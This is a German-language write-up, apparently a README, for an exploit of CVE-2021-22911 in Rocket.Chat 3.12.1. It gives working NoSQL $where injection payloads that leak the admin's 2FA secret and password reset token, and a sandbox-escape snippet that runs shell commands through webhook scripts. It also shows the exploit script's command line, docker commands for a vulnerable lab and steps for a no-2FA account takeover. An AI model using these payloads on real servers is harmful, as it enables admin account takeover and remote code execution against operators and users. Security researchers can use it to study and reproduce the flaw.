
Exploit für CVE-2021-22911: Pre-Auth blinde NoSQL-Injection in Rocket Chat 3.12.1, die Kontoübernahme und Remote-Codeausführung über Webhook-Scripting ermöglicht.
Pre-Auth Blind NoSQL Injection, die zu Remote Code Execution in Rocket Chat 3.12.1 führt
Der Admin-Benutzer ist höchstwahrscheinlich durch 2FA geschützt. Selbst wenn wir also das Passwort des Admins über (1) ändern, wird beim Login nach einem 2FA-Code gefragt.
Der API-Endpunkt users.list akzeptiert einen query-Parameter, der anfällig für NoSQL-Injection ist. Wir können auch Daten abrufen, indem wir einen Fehler auslösen.
Wir führen die folgende Abfrage aus, um das 2FA-Secret des Admins zu erhalten: {"$where":"this.username==='admin' && (()=>{ throw this.services.totp.secret })()"}
Als nächstes führen wir einfach (1) aus, um das Passwort des Admins zurückzusetzen, und verwenden das 2FA-Secret, um einen Code zu generieren, mit dem wir uns anmelden können.
Aktualisiert: Du kannst den Reset-Token auch auf demselben Weg abrufen wie das 2FA-Secret: {"$where":"this.username==='admin' && (()=>{ throw this.services.password.reset.token })()"}
const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec('command here');
python3 exploit.py -u "[email protected]" -a "[email protected]" -t "http://rocket.local"
docker run --name db -d mongo:3.6 --smallfiles --replSet rs0 --oplogSize 128
docker exec -ti db mongo --eval "printjson(rs.initiate())"
docker run --name rocketchat -p 80:3000 --link db --env ROOT_URL=http://localhost --env MONGO_OPLOG_URL=mongodb://db:27017/local -d rocket.chat:3.12.1
HINWEIS: Wenn du den Administrator nicht durch 2FA schützen möchtest, kannst du Folgendes tun.
# Admin-Konto-Übernahme [ Kein 2FA ]
forgotpassword(adminmail,target)
token = resettoken(target)
changingpassword(target,token)